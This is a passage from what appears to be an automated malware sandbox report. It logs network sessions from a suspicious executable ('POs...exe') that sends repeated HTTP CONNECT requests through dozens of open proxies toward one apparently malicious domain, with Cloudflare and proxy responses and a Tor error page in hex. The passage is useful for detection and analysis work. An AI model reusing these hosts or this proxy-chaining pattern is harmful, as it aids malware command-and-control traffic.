20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.11	52221	132.148.16.169	55610	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.660940886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673254013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.688954115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.689821005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.11	53907	118.67.170.121	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.662621975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.11	53957	104.19.106.122	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.662751913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.816886902 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.11	53964	104.17.16.87	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.662761927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.816994905 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.11	53497	198.12.253.239	1809	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.663352013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.11	53992	104.25.184.189	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.664462090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.818811893 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.11	53995	172.67.182.90	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.665455103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.819781065 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.11	52109	171.244.140.160	27056	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.677366018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.720613003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829590082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.862874985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.878180027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.11	52073	181.209.78.75	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.680707932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.720530033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829590082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.862874985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.875967979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:00.969758034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:12.985327005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:36.985305071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:25.000798941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.11	54006	172.67.181.103	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.682748079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.836854935 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.11	54009	172.67.181.58	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.685499907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.839782000 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.11	53929	23.137.248.197	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.716547966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.11	53927	188.166.17.18	8881	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.756264925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.11	52226	189.240.60.171	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.756329060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.195400953 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.11	54018	104.16.108.149	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.844973087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.003761053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.11	52188	181.205.243.147	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.847374916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.490696907 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.11	53871	106.105.218.244	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.847841024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.11	53895	104.248.151.220	63997	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.852890968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.689208031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.985825062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.673264027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.689054966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.782814026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.798233032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.11	54053	104.18.81.76	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.854456902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.009152889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
